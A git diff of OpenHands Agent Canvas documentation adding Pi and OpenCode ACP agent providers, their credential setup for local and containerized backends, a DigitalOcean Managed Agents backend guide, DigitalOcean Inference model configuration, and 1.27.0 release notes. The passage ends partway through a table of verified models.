external **ACP agent**. For an ACP agent, the selected backend launches the provider's CLI and must have access to its subscription login or API key. ## What is an ACP agent? @@ -30,6 +30,14 @@ The Agent Server owns the subprocess and the credentials; Agent Canvas only reco | **Claude Code** | `npx -y @agentclientprotocol/claude-agent-acp` | | **Codex** | `npx -y @zed-industries/codex-acp` | | **Gemini CLI** | `npx -y @google/gemini-cli --acp` | +| **Pi** | `npx -y --package=pi-acp --package=@earendil-works/pi-coding-agent pi-acp` | +| **OpenCode** | `npx -y opencode-ai acp` | + +You can pick any of these during onboarding, in the **Choose your agent** step: + +![Agent Canvas onboarding Choose your agent screen listing OpenHands, Claude Code, Codex, Gemini CLI, Pi, and OpenCode.](/openhands/static/img/agent-canvas-setup-step-1.png) + +Pi and OpenCode are offered on **local** backends only — your machine or a self-hosted Agent Server, including Docker. OpenHands Cloud runs only Claude Code, Codex, and Gemini CLI, so Canvas hides the other two there. Neither Pi nor OpenCode is pre-installed in the Agent Server image, so the first conversation downloads the CLI through `npx`. The provider list is sourced from the OpenHands SDK registry (`openhands.sdk.settings.acp_providers`, mirrored into `@openhands/typescript-client`) and enriched with Canvas UI metadata. Adding or changing a provider happens upstream in the SDK. @@ -46,22 +54,34 @@ A "subscription login" is the credential the provider's own CLI stores when you | **Claude Code** | A Claude Code login (Pro/Max), from Claude Code's own credential store: the **macOS Keychain**, or `~/.claude/.credentials.json` on Linux | `ANTHROPIC_API_KEY` | | **Codex** | A ChatGPT login (`codex login`) cached at `~/.codex/auth.json` | `OPENAI_API_KEY` | | **Gemini CLI** | Your Google login (`gemini`/`gemini --acp`) cached at `~/.gemini/oauth_creds.json` | `GEMINI_API_KEY` | +| **Pi** | Any login or key saved by `pi` (`/login`) in `~/.pi/agent/auth.json` (or `$PI_CODING_AGENT_DIR`) | `ANTHROPIC_API_KEY` | +| **OpenCode** | Provider logins saved by `opencode auth login` in `~/.local/share/opencode/auth.json` | `OPENCODE_API_KEY` | -All three collect an *optional* API key (plus base URL) in onboarding. As noted above, a subscription / OAuth login takes priority over an API key — when the provider's CLI is signed in, a key set in the environment is not used: +Each provider collects an *optional* API key in onboarding (plus a base URL where the provider honors one — Pi and OpenCode do not). As noted above, a subscription / OAuth login takes priority over an API key — when the provider's CLI is signed in, a key set in the environment is not used: - **Codex** — `codex login status` keeps reporting the ChatGPT login even with `OPENAI_API_KEY` set. - **Gemini CLI** — uses the OAuth auth type chosen at `gemini` login; `GEMINI_API_KEY` is only consulted if you switch the auth type. The free Google login is the common no-key path locally — sign in once and it just works. - **Claude Code** — with both present, `claude auth status` reports it is authenticated via the subscription (`claude.ai`), not the key. The login is auto-detected from the macOS Keychain (or `~/.claude/.credentials.json` on Linux); `CLAUDE_CONFIG_DIR` is **not** required for it — it only relocates Claude Code's config directory (settings/history, not the token) and signals the SDK to strip a conflicting `ANTHROPIC_API_KEY` / `ANTHROPIC_BASE_URL`. +Two providers behave differently: + +- **Pi** needs *some* credential: with none, the session fails with `Authentication required`. Pi picks its model from whichever provider that credential unlocks, so Canvas does not preselect one. To route Pi through a proxy, declare the provider in Pi's own `models.json`; `ANTHROPIC_BASE_URL` is ignored. Pi's key is the same `ANTHROPIC_API_KEY` secret Claude Code reads, and Claude Code then uses it instead of your Claude login. +- **OpenCode** runs without any credential on OpenCode Zen's free models (including its default, `opencode/big-pickle`), so its credential step never blocks onboarding. A key or login unlocks the paid models. + The one exception is the **base URL** (`*_BASE_URL`): a custom value points the CLI at a different endpoint (a proxy or gateway) and *does* take effect even under a login — for Gemini it rides the ACP `gateway` param. It's an advanced override, not needed for normal use. ## Onboarding an ACP agent First-time users get a four-step onboarding modal. To onboard an ACP agent: -1. **Choose agent** — pick Claude Code, Codex, or Gemini CLI instead of OpenHands. The choice is saved immediately to your backend's settings. +1. **Choose agent** — pick Claude Code, Codex, Gemini CLI, Pi, or OpenCode instead of OpenHands. The choice is saved immediately to your backend's settings. 2. **Check backend** — confirms Agent Canvas can reach the Agent Server. -3. **Set up credentials** — enter the provider's API key (and, optionally, a custom base URL for a proxy or gateway). All three providers collect these here, and every field is optional. +3. **Set up credentials** — enter the provider's credentials. Beyond the API key (and, where the provider honors one, an optional base URL), this step also collects the credentials a *containerized* backend needs, since a fresh container has no host login: + - **Codex** — `CODEX_AUTH_JSON` (the contents of `~/.codex/auth.json`). + - **Claude Code** — `CLAUDE_CODE_OAUTH_TOKEN` (a Pro/Max OAuth token). + - **Gemini CLI** — `GOOGLE_APPLICATION_CREDENTIALS_JSON` (Vertex SA / ADC JSON) plus `GOOGLE_CLOUD_PROJECT`, `GOOGLE_CLOUD_LOCATION`, and `GOOGLE_GENAI_USE_VERTEXAI`. + - **Pi** — `PI_AUTH_JSON` (the contents of `~/.pi/agent/auth.json`). + - **OpenCode** — `OPENCODE_AUTH_CONTENT` (the contents of `~/.local/share/opencode/auth.json`). 4. **Say hello** — creates your first conversation and closes the modal. <Note> @@ -72,20 +92,31 @@ First-time users get a four-step onboarding modal. To onboard an ACP agent: Each credential you enter is saved as a **global secret** whose name is exactly the environment variable the Agent Server exports into the ACP subprocess (e.g. `ANTHROPIC_API_KEY`). Saving in onboarding is identical to adding the secret under **Settings → Secrets**, where you can edit or remove it anytime. Keeping the secret name equal to the env var is what makes a saved key actually reach the provider CLI. +### Run ACP agents in a container + +The walkthrough above assumes the Agent Server runs on your own machine, where the provider CLIs reuse a host login. You can also run the Agent Server **in a container**. Canvas drives it the same way, but since a fresh container has no host login, you supply credentials through the UI and Canvas sends them inline on the conversation start request. + +In onboarding's **Set up credentials** step, the credentials you enter are saved as global secrets in the agent-server's secret store (as usual). The start request then references each as a lookup secret, and the agent-server resolves the value back from its own store at spawn time. On a **local** backend the step stays optional (a host login is reused automatically); on a **Docker** or cloud backend it is required, because there is no host login to fall back on. When the login probe detects an existing session, the step shows a "you're already signed in" banner and stays skippable. OpenCode's step is always skippable, since it can run on free models without a credential. + ## Switching agent or model later Open **Settings → Agent** at any time: - **Agent** — switch between **OpenHands** and **ACP**. -- **Preset** — pick a built-in provider (Claude Code, Codex, Gemini CLI) or **Custom** to point at any other ACP server. +- **Preset** — pick a built-in provider (Claude Code, Codex, Gemini CLI, and, on a local backend, Pi or OpenCode) or **Custom** to point at any other ACP server. - **Command** — the command line used to spawn the subprocess. Selecting a preset fills this in; editing it to match another preset re-detects that provider. API keys are *not* entered here — they live in the Secrets panel. -- **Model** — choose a suggested model for the provider or enter a custom model override. Built-in providers save a concrete model rather than leaving it blank. +- **Credentials** — sign in or add the provider's keys. They come before the model because the models a provider offers depend on them. +- **Model** — **Agent default** (the provider picks, saving no model), one of the provider's models, or a custom model ID. Gemini has no **Agent default**; Canvas preselects `gemini-2.5-pro` (see the note in [Run ACP agents in a container](#run-acp-agents-in-a-container)). + +Canvas keeps no list of models; the agent reports its own. On a local backend, Canvas asks the agent-server (`POST /api/acp/models`) to start the provider with your saved credentials and report the models it offers and the one it uses by default, so account-dependent catalogs (a ChatGPT plan's Codex models, a Claude subscription's aliases, OpenCode's free tier versus a Zen key) show what you can actually run. The first lookup can take a few seconds while the provider starts; results are cached. If the agent rejects its login, Settings says so instead of showing a stale "signed in" banner. + +Cloud can't ask before a conversation starts, so until then the model field offers **Agent default** and a custom model ID. Each conversation's session reports its models, which the in-chat picker offers for switching mid-conversation; Canvas remembers the last list per backend, provider, and secret scope in the browser and offers it in Settings and on the home page from then on, only to profiles that allow the same secrets (also the fallback for older agent-servers and failed lookups). Saving writes an `agent_settings_diff` (`agent_kind`, `acp_server`, `acp_command`, `acp_model`) to `PATCH /api/settings`. A running conversation keeps the agent it started with; the new choice applies to conversations you start afterward. ## Custom ACP servers -Any stdio ACP server works: choose **Custom** in Settings → Agent and enter its launch command. Custom servers have no curated model list, so enter the model ID the server expects (if any) as a custom model. Pass credentials by adding the env vars the server reads as global secrets under **Settings → Secrets**. +Any stdio ACP server works: choose **Custom** in Settings → Agent and enter its launch command. Canvas can't ask a custom server for its models before a conversation, so enter the model ID the server expects (if any) as a custom model; inside a conversation the picker lists what the session reports. Pass credentials by adding the env vars the server reads as global secrets under **Settings → Secrets**. ## Related Guides diff --git a/openhands/usage/agent-canvas/backend-setup/digitalocean.mdx b/openhands/usage/agent-canvas/backend-setup/digitalocean.mdx new file mode 100644 index 000000000..57ab48eb4 --- /dev/null +++ b/openhands/usage/agent-canvas/backend-setup/digitalocean.mdx @@ -0,0 +1,216 @@ +--- +title: DigitalOcean Managed Agents +description: Run Agent Canvas conversations in isolated DigitalOcean sandboxes using Managed Agents as a backend. +--- + +You can connect Agent Canvas to [DigitalOcean Managed Agents](https://www.digitalocean.com/products/managed-agents) as a backend. Agent Canvas stays on your machine while each conversation runs in a DigitalOcean sandbox: a dedicated microVM with its own disk, terminal, and browser tools. + +<Note> + DigitalOcean Managed Agents is in public preview, and DigitalOcean bills sandbox usage to your DigitalOcean account. Your LLM provider bills model usage separately. +</Note> + +## When to Use It + +A DigitalOcean backend is a good fit when you want to: + +- Run agents in isolated cloud sandboxes without managing a VM, Docker host, or Kubernetes cluster +- Pay only while a sandbox is working: idle sessions pause automatically and stop compute charges +- Keep separate, disposable environments for separate tasks +- Keep using the Agent Canvas desktop app on your own machine + +## Prerequisites + +- The Agent Canvas [desktop app](/openhands/usage/agent-canvas/setup#desktop-app-preview-build), version 1.27.0 or later. To use the browser version instead, see [Use It From the Web Build](#use-it-from-the-web-build). +- A [DigitalOcean account](https://cloud.digitalocean.com/registrations/new) with a payment method and funds in at least one balance. +- A DigitalOcean personal access token for the team you want to use. See [Create a Token](#1-create-a-token). +- An API key for your LLM provider. You add it after connecting. + +## 1. Create a Token + +1. Sign in to the [DigitalOcean control panel](https://cloud.digitalocean.com) and switch to the team you want Agent Canvas to use. +2. Open **API** → [**Tokens**](https://cloud.digitalocean.com/account/api/tokens) and select **Generate New Token**. +3. Give the token a name and an expiration, and grant it **Full Access**. +4. Copy the token. DigitalOcean only shows it once. + +A token belongs to one DigitalOcean team. To connect a different team, create a token in that team and add it as another connection. + +## 2. Connect Agent Canvas + +1. Open the backend switcher in the top bar and choose **Manage Backends** → **Add Backend**. +2. Under **Choose how you want to connect**, select the **Providers** tab, then **DigitalOcean**. + + ![Agent Canvas Choose how you want to connect dialog with the Providers tab selected, showing the DigitalOcean provider and the note that more providers are coming soon.](/openhands/static/img/agent-canvas-add-backend-providers.png) + +3. Paste the token into **Personal access token** and select **Connect with token**. + +If you have not created a token yet, the **Create a token** link next to the field opens the DigitalOcean tokens page. + +The desktop app encrypts the token with your operating system's keychain, so you stay signed in after restarting the app. If no keychain is available, Agent Canvas warns that the connection lasts only until you quit. + +## 3. Create an Agent + +A DigitalOcean **agent** is a saved setup for OpenHands sessions. Each **session** you launch from it is a separate sandbox with its own disk and conversations. + +After you sign in, the DigitalOcean panel lists your team's **OpenHands agents**. Each row shows the agent's latest session status, and the footer shows the connection you signed in with and a **Sign out** button. + +![Agent Canvas DigitalOcean panel listing three OpenHands agents: one with no sessions yet, one waiting for the agent server, and one with a paused session. New Agent and refresh buttons sit above the list, and the footer shows the DigitalOcean token connection with Sign out.](/openhands/static/img/agent-canvas-digitalocean-agents.png) + +1. In the **OpenHands agents** list, select **New Agent**. +2. Enter an **Agent name**: up to 64 letters, numbers, `-`, `.`, or `_`, starting and ending with a letter or number. +3. Choose a **Sandbox size**, or keep **Default (DigitalOcean picks)**. Each option shows its vCPUs, memory, and monthly price. +4. Select **Create and launch**. + +<Note> + Sandbox size applies to every session of an agent and cannot be changed later. To use a different size, create another agent. +</Note> + +Agent Canvas lists only agents that run OpenHands. Agents you created in the DigitalOcean control panel for other harnesses, such as Claude Code or Codex, do not appear here. + +## 4. Wait for the Session to Start + +Agent Canvas launches the agent's first session and connects to it. The status moves through **Waking the session…**, **Connecting to the session…**, and **Waiting for the agent server…**. A new sandbox can take a few minutes to start; resuming a paused session is faster. + +When the session is ready, Agent Canvas adds it as a backend named after the session, selects it, and opens a new conversation. + +## 5. Set Up Your Model + +Each session has its own agent-server, so it starts without an LLM configured. + +1. Open **Settings → LLM**. +2. Add an [LLM profile](/openhands/usage/agent-canvas/llm-profiles) with your provider, model, and API key. +3. Start a conversation. + +To keep model usage on DigitalOcean too, choose the `digitalocean` provider in the LLM profile and enter a DigitalOcean model access key. See [DigitalOcean Inference](/openhands/usage/llms/digitalocean). + +Your LLM key is stored inside the session's sandbox, not in the DigitalOcean agent. Every new session needs its own LLM setup. + +## Work With Agents and Sessions + +While a DigitalOcean backend is selected, the sidebar shows the agent's sessions instead of the usual conversation list. The current session expands to show its conversations. + +- Select **+** in the sidebar header to launch a **New session** for the same agent. +- Open the agent menu to **Switch agent** or **Manage agents**. +- **Manage agents** opens the full DigitalOcean view, where you can search, filter, and act on every agent and session. + +To open an agent from **Add Backend** later, select it in the **Providers** list. Agent Canvas resumes its most recent session, or launches one if it has none. Expand the agent to choose a specific session. + +### Session Status + +| Status | Meaning | +|--------|---------| +| **Running** | The sandbox is up and ready for conversations. | +| **Starting** | The sandbox is booting. | +| **Paused** | Compute is stopped. Files, installed tools, and conversations are kept. | +| **Failed** | The sandbox did not start. Launch a new session. | +| **Ended** | The session was stopped and its sandbox deleted. | + +### Session and Agent Actions + +| Action | What it does | Can you undo it? | +|--------|--------------|------------------| +| **Connect** / **Open** | Opens the session as your active backend. | — | +| **Resume & connect** | Wakes a paused session, then connects. | — | +| **Pause session** | Stops compute charges and keeps the session's files and conversations. | Yes, resume it | +| **Stop session** | Ends the session and deletes its sandbox, files, and conversations. | No | +| **Delete agent** | Deletes the agent so no new sessions can launch from it. Available only after all of its sessions are stopped. Paused sessions must be stopped too. | No | + +### Disconnecting vs. Stopping + +When you remove a DigitalOcean backend in **Manage Backends**, Agent Canvas asks what to do: + +- **Disconnect only** removes the backend from Agent Canvas. The session keeps running, and billing, until it pauses on its own. You can reconnect from **Manage agents**. +- **Stop session** ends the session and deletes its sandbox, then removes the backend. + +<Warning> + Stopping a session permanently deletes its sandbox, including any files the agent created. Push work you want to keep, for example to a Git remote, before you stop a session. +</Warning> + +### Reconnecting After a Restart + +Agent Canvas keeps the backend entry when you quit, but the connection to the sandbox closes. When you reopen the app, Agent Canvas reconnects to the selected DigitalOcean backend automatically. A DigitalOcean backend can show as disconnected in **Manage Backends** while it is not selected. Select it to reconnect. + +## Costs + +DigitalOcean bills each session for the CPU it actually uses, its peak memory, and its storage. See [Harness Runtime pricing](https://docs.digitalocean.com/products/managed-agents/agent-harness-runtime/details/pricing/) for current rates and sandbox sizes. + +To keep costs down: + +- **Let idle sessions pause.** DigitalOcean pauses a session after 15 minutes without activity. A paused session stops compute charges but still pays for storage. +- **Switch away when you are done.** Agent Canvas checks only the selected backend, so a session you are not using can go idle and pause. +- **Stop sessions you no longer need.** Stopping deletes the sandbox and its storage charges. +- **Pick the smallest size that works.** The default size suits most coding tasks. + +Sessions pause when all of your DigitalOcean balances reach $0, and stay paused until you add funds. Each team can have a limited number of sessions at once; paused sessions count toward that limit until you stop them. + +## Security + +- Your DigitalOcean token stays in the Agent Canvas desktop process and is never sent to the web page. Revoke the token in DigitalOcean to disconnect Agent Canvas. +- Each session runs in its own microVM, separate from your machine and from other sessions. +- Secrets and API keys you add in a session's settings are stored in that sandbox. The agent can read them while it works, as with any backend. +- Sessions can reach the public internet. They cannot reach private DigitalOcean VPC resources. +- Everyone on a DigitalOcean team can see that team's OpenHands agents and sessions. + +## Use It From the Web Build + +The DigitalOcean option appears in the browser version of Agent Canvas only when the server that hosts it opts in. Set these environment variables on that server, not in the browser: + +| Variable | Purpose | +|----------|---------| +| `MARS_WEB=1` | Turns on the DigitalOcean integration for the web build. | +| `MARS_TOKEN` | Optional. A personal access token to sign in with when the server starts. | +| `MARS_WEB_KEY` | Optional. The key the browser must present to use the integration. Defaults to the server's session API key. | + +In the web build, the token is held in the server's memory only, so restarting the server signs you out unless `MARS_TOKEN` is set. + +Set `MARS_WEB=1` in the same command that starts Agent Canvas. + +<Tabs> + <Tab title="Installed CLI"> + ```bash + MARS_WEB=1 agent-canvas + ``` + </Tab> + + <Tab title="From source (npm run dev)"> + From a clone of the [OpenHands repository](https://github.com/OpenHands/OpenHands): + + ```bash + npm install + MARS_WEB=1 npm run dev + ``` + + `npm run dev` also reads a `.env` file in the repository root, so you can add `MARS_WEB=1` there instead of setting it on each run. + </Tab> + +</Tabs> + +To sign in automatically when the server starts, add your token to the same command: + +```bash +MARS_WEB=1 MARS_TOKEN=<your-digitalocean-token> agent-canvas +``` + +Then open Agent Canvas in your browser and go to **Manage Backends** → **Add Backend** → **Providers**. + + +## Troubleshooting + +| Message or symptom | What to do | +|--------------------|------------| +| No **Providers** tab in **Add Backend** | Use the desktop app, or set `MARS_WEB=1` on the server that hosts the web build. | +| **Could not connect to DigitalOcean.** | Copy the token again and check that it has not expired. | +| **DigitalOcean refused the connection.** | Create a new token with **Full Access**, and confirm your team can use Managed Agents. | +| **This DigitalOcean sign-in has expired.** | Create a new token and sign in again. | +| **This team has no OpenHands agents yet.** | Select **New Agent**. Agents for other harnesses are hidden. | +| **This session isn't running an OpenHands agent server…** | The session was not started from an OpenHands agent. Launch a session from an agent created in Agent Canvas. | +| **Could not launch a new session.** | Stop sessions you no longer need, and check that your DigitalOcean balance is above $0. | +| A session stays on **Waking the session…** | Add funds to your DigitalOcean account. Sessions stay paused at a $0 balance. | +| **Your system keychain is unavailable…** | Unlock or install a keychain (common on Linux), or sign in again each time you open the app. | +| Conversations fail right after connecting | Add an LLM profile in **Settings → LLM**, then try again. | + +## Related Guides + +- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) +- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) +- [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud) +- [DigitalOcean Harness Runtime documentation](https://docs.digitalocean.com/products/managed-agents/agent-harness-runtime/) diff --git a/openhands/usage/agent-canvas/backend-setup/remote.mdx b/openhands/usage/agent-canvas/backend-setup/remote.mdx index 8636bfc82..dbdce3020 100644 --- a/openhands/usage/agent-canvas/backend-setup/remote.mdx +++ b/openhands/usage/agent-canvas/backend-setup/remote.mdx @@ -41,6 +41,7 @@ The selected backend becomes the execution environment for new conversations. It | Kubernetes | [Kubernetes (Helm)](/openhands/usage/agent-canvas/backend-setup/kubernetes) | | Modal | [Modal Backend](/openhands/usage/agent-canvas/backend-setup/modal) | | A managed OpenHands platform | [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud) | +| DigitalOcean sandboxes (no URL or API key to manage) | [DigitalOcean Managed Agents](/openhands/usage/agent-canvas/backend-setup/digitalocean) | ## Next Steps diff --git a/openhands/usage/agent-canvas/backends.mdx b/openhands/usage/agent-canvas/backends.mdx index a8183828c..b9fa79ee3 100644 --- a/openhands/usage/agent-canvas/backends.mdx +++ b/openhands/usage/agent-canvas/backends.mdx @@ -22,3 +22,14 @@ Settings, LLM configuration, MCP servers, and automations are all scoped to the | **Default local** | Quick local work on your machine | Run `agent-canvas`—a local backend is created automatically. | | **Self-hosted backend** | A separate local process or container, an always-on VM, more powerful hardware, or team-shared access | Deploy the backend services, then add their host URL and API key in `Manage Backends`. See [Remote Backend](/openhands/usage/agent-canvas/backend-setup/remote) and [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm). | | **Cloud or Enterprise** | Managed backend and sandbox infrastructure | Connect from `Manage Backends`. See [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud). | +| **DigitalOcean Managed Agents** | On-demand, isolated cloud sandboxes that pause when idle | In the desktop app, open `Manage Backends` → **Add Backend** → **Providers**. See [DigitalOcean Managed Agents](/openhands/usage/agent-canvas/backend-setup/digitalocean). | + +## DigitalOcean Managed Agents + +The **Providers** tab in **Add Backend** connects Agent Canvas to [DigitalOcean Managed Agents](/openhands/usage/agent-canvas/backend-setup/digitalocean). Sign in with a DigitalOcean personal access token, then create or open an OpenHands agent. Each session of that agent runs in its own DigitalOcean sandbox and appears in Agent Canvas as a separate backend. + +The Providers tab is available in the desktop app, and in the web build when its server sets `MARS_WEB=1`. + +<Note> + Removing a DigitalOcean backend from `Manage Backends` offers **Disconnect only**, which leaves the session running and billing until it pauses, or **Stop session**, which deletes its sandbox. See [Disconnecting vs. Stopping](/openhands/usage/agent-canvas/backend-setup/digitalocean#disconnecting-vs-stopping). +</Note> diff --git a/openhands/usage/agent-canvas/first-time-setup.mdx b/openhands/usage/agent-canvas/first-time-setup.mdx index 905fb98e1..66a01dfc5 100644 --- a/openhands/usage/agent-canvas/first-time-setup.mdx +++ b/openhands/usage/agent-canvas/first-time-setup.mdx @@ -7,7 +7,7 @@ When you open Agent Canvas for the first time, a four-step setup wizard walks yo ## Step 1: Choose Your Agent -![Agent Canvas first-time setup — Choose your agent screen showing OpenHands, Claude Code, Codex, and Gemini CLI options](/openhands/static/img/agent-canvas-setup-step-1.png) +![Agent Canvas first-time setup — Choose your agent screen showing OpenHands, Claude Code, Codex, Gemini CLI, Pi, and OpenCode options](/openhands/static/img/agent-canvas-setup-step-1.png) Agent Canvas uses the **Agent-Client Protocol (ACP)** to communicate with agents, which means you're not locked into a single provider. @@ -15,6 +15,10 @@ Agent Canvas uses the **Agent-Client Protocol (ACP)** to communicate with agents - **Claude Code** — Anthropic's Claude Code agent. - **Codex** — OpenAI's Codex agent. - **Gemini CLI** — Google's Gemini CLI agent. +- **Pi** — the open source Pi coding agent. +- **OpenCode** — the open source OpenCode coding agent. + +Pi and OpenCode run on local backends only: your machine or a self-hosted Agent Server. See [ACP Agents](/openhands/usage/agent-canvas/acp-agents#supported-providers). Choosing a third-party agent lets you interact with it through the Agent Canvas interface and bring your existing subscriptions from those providers. diff --git a/openhands/usage/agent-canvas/managing-automations.mdx b/openhands/usage/agent-canvas/managing-automations.mdx index dadbcda90..d2e60a632 100644 --- a/openhands/usage/agent-canvas/managing-automations.mdx +++ b/openhands/usage/agent-canvas/managing-automations.mdx @@ -51,6 +51,22 @@ The Activity Log displays a completed run's reported LLM cost in USD to four dec Use the Activity Log export controls to download run data as CSV or JSON. Both formats include a raw numeric `cost` field for every run, as well as the run's `phase`. An unavailable cost is exported as `null`. +## Create an automation with the setup assistant + +Creating an automation opens a split view: a setup form on one side and a conversation with OpenHands on the other. You can describe the automation in the conversation and let OpenHands fill the form for you, or fill the fields yourself. + +- As OpenHands fills a field, it is marked **✦ Filled by OpenHands**. Editing a field yourself clears the marker so you can see what you changed. +- The form covers the same settings as any automation: name, prompt, trigger, schedule, model, repository, and plugins. + +The setup view is a **draft** until you create the automation. Drafts are saved and persist across reloads: + +- Reopen a draft from **Automate** → **Edit** to continue where you left off. The setup conversation is restored and pre-populates the form. +- The conversation that backs a draft is created only when you need it, so drafting does not start a run on its own. +- Test a draft before creating it, and review its test runs, from the draft's row in **Automate** without opening a new conversation. +- Create the final automation when the form looks right; it then appears in the automation list like any other. + +To reach the setup flow from the home page, use the splash-page mode toggle to switch into automation mode and open the automation entry point. + ## Enable and disable automations Toggle an automation on or off from the kebab menu (⋮) on the automation row, or from the detail view. Disabled automations do not fire on their scheduled trigger or in response to events, but their configuration is preserved. diff --git a/openhands/usage/agent-canvas/model-configuration.mdx b/openhands/usage/agent-canvas/model-configuration.mdx index c05bc5b5a..e914ebffe 100644 --- a/openhands/usage/agent-canvas/model-configuration.mdx +++ b/openhands/usage/agent-canvas/model-configuration.mdx @@ -100,6 +100,12 @@ Use OpenRouter when you have an OpenRouter API key and want to access a model th See [OpenRouter](/openhands/usage/llms/openrouter) for model-ID and recovery guidance. +## DigitalOcean Inference + +Use DigitalOcean Inference when you have a DigitalOcean model access key and want model usage billed to your DigitalOcean account. In the `Basic` tab select `digitalocean`, choose a model, add the key or a `digitalocean` Provider Connection, and save the profile. No base URL is needed. + +See [DigitalOcean](/openhands/usage/llms/digitalocean) for creating a key, verified models, and recovery guidance. + ## Fix a Failed Configuration | Symptom | Check first | Next step | diff --git a/openhands/usage/agent-canvas/release-notes/v1.27.0.mdx b/openhands/usage/agent-canvas/release-notes/v1.27.0.mdx new file mode 100644 index 000000000..9a97409cf --- /dev/null +++ b/openhands/usage/agent-canvas/release-notes/v1.27.0.mdx @@ -0,0 +1,32 @@ +--- +title: Agent Canvas 1.27.0 +description: Release notes for Agent Canvas version 1.27.0 +--- + +# Agent Canvas 1.27.0 + +Released October 12, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.27.0). + +## Highlights + +- **Pi and OpenCode ACP agents** — Pi and OpenCode join Claude Code, Codex, and Gemini CLI as built-in ACP providers, available on local backends (your machine or a self-hosted Agent Server). See [ACP Agents](/openhands/usage/agent-canvas/acp-agents). +- **Agent-reported ACP models** — On a local backend, Agent Canvas asks the agent-server which models a provider offers, so account-dependent catalogs show what you can actually run. Settings gains an **Agent default** option. See [ACP Agents](/openhands/usage/agent-canvas/acp-agents#switching-agent-or-model-later). +- **DigitalOcean Managed Agents backend** — In the desktop app, a new **Providers** tab in **Add Backend** connects to DigitalOcean Managed Agents. Sign in with a personal access token, create or open an OpenHands agent, and run conversations in isolated DigitalOcean sandboxes that pause when idle. See [DigitalOcean Managed Agents](/openhands/usage/agent-canvas/backend-setup/digitalocean). +- **Automation setup assistant** — A split setup form and conversation, where OpenHands can fill the form fields, plus persisted drafts you can reopen, test, and create from. See [Create an automation with the setup assistant](/openhands/usage/agent-canvas/managing-automations#create-an-automation-with-the-setup-assistant). +- **Splash-page mode toggle** — Toggle automation mode from the home/splash page to reach the automation entry point. + +## Fixes + +- Compact section navigation on tablets in settings and customize views. +- Hooks, MCP, settings, onboarding tour, theme, accessibility, telemetry, and i18n fixes, including corrected text and error messages in the Available Hooks dialog. + +## Maintenance + +- Bumped agent-server to 1.54.0 (SDK ACP model discovery), with dependency and lint updates. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.27.0) +- [Compare v1.26.0 to v1.27.0](https://github.com/OpenHands/OpenHands/compare/v1.26.0...v1.27.0) diff --git a/openhands/usage/agent-canvas/setup.mdx b/openhands/usage/agent-canvas/setup.mdx index e8370a71e..88ea0514a 100644 --- a/openhands/usage/agent-canvas/setup.mdx +++ b/openhands/usage/agent-canvas/setup.mdx @@ -340,6 +340,8 @@ The universal disk image runs on both Apple silicon and Intel Macs, and bundles The desktop app starts its local backend automatically. During startup, select **Show details** to view and copy the live startup log. This is useful if startup takes longer than expected or fails. +The desktop app can also run conversations in DigitalOcean sandboxes. See [DigitalOcean Managed Agents](/openhands/usage/agent-canvas/backend-setup/digitalocean). + ### Troubleshooting and Lifecycle On macOS, the app is ad-hoc signed. If macOS reports that Agent Canvas is damaged or cannot be opened, clear its quarantine attribute in Terminal, then launch it again: diff --git a/openhands/usage/agent-canvas/troubleshooting.mdx b/openhands/usage/agent-canvas/troubleshooting.mdx index ee91bd3aa..e4c5caace 100644 --- a/openhands/usage/agent-canvas/troubleshooting.mdx +++ b/openhands/usage/agent-canvas/troubleshooting.mdx @@ -17,6 +17,7 @@ Use this page when Agent Canvas does not start, the browser cannot reach it, the **The browser works but Canvas cannot reach its backend** - [Backend Is Unreachable](#backend-is-unreachable) - [Wrong Backend URL Or API Key](#wrong-backend-url-or-api-key). +- DigitalOcean sign-in or session errors: see [DigitalOcean troubleshooting](/openhands/usage/agent-canvas/backend-setup/digitalocean#troubleshooting). **The backend works but the model fails** - [Model Or API Key Errors](#model-or-api-key-errors) diff --git a/openhands/usage/llms/digitalocean.mdx b/openhands/usage/llms/digitalocean.mdx new file mode 100644 index 000000000..5c216463b --- /dev/null +++ b/openhands/usage/llms/digitalocean.mdx @@ -0,0 +1,91 @@ +--- +title: Use DigitalOcean Inference with OpenHands +description: Configure a DigitalOcean Serverless Inference model and model access key in Agent Canvas or OpenHands. +--- + +Use DigitalOcean Inference when you want to run OpenHands on models hosted by [DigitalOcean Serverless Inference](https://docs.digitalocean.com/products/inference/) and billed to your DigitalOcean account. One DigitalOcean key gives you access to Anthropic, OpenAI, and open-weight models. + +This pairs well with [DigitalOcean Managed Agents](/openhands/usage/agent-canvas/backend-setup/digitalocean), so both your sandboxes and your model usage stay on DigitalOcean. It works with any backend. + +## Create a Model Access Key + +1. In the DigitalOcean control panel, open [**Model Access Keys**](https://cloud.digitalocean.com/model-studio/manage-keys). +2. Select **Create model access key** and enter an **Access Key Name**. +3. On the **Foundation models** tab, choose **All models**, or **Select models** to limit the key to the models you plan to use. +4. Select **Continue**. Under **VPC Network**, choose **No VPC network**. +5. Select **Add model access key**, then copy the secret key. DigitalOcean shows it only once. + +<Note> + Do not restrict the key to a VPC network. OpenHands calls the public inference endpoint, and VPC-scoped keys are not supported from DigitalOcean Managed Agents sandboxes. +</Note> + +## Configure Agent Canvas + +1. Open `Settings > LLM`. +2. In the `Basic` tab, select `digitalocean` as the provider. +3. Select a model, enter your model access key, and save the profile. +4. Start a new conversation and send a short message to verify the model responds. + +You do not need to set a base URL. OpenHands sends `digitalocean/` models to `https://inference.do-ai.run/v1` automatically. + +To reuse the key across several models, create a `digitalocean` [Provider Connection](/openhands/usage/agent-canvas/model-configuration#provider-connection-for-reusable-api-credentials) and select it in each profile. + +## Verified Models + +These models are verified for tool calling with OpenHands. Enter the model string as shown when you use the `Advanced` tab or the SDK. + +| Model | Model string | +|---|---| +| Claude Opus 5.5 | `digitalocean/anthropic-claude-opus-5.5` | +| Claude Opus 5 | `digitalocean/anthropic-claude-opus-5` | +| Claude Sonnet 5.5 | `digitalocean/anthropic-claude-sonnet-5.5` | +| Claude Sonnet 5 | `digitalocean/anthropic-claude-5-sonnet` | +| GPT-5.6 Sol | `digitalocean/openai-gpt-5.6-sol` | +| GPT-5.6 Terra | `digitalocean/openai-gpt-5.6-terra` | +| GPT-5.6 Luna | 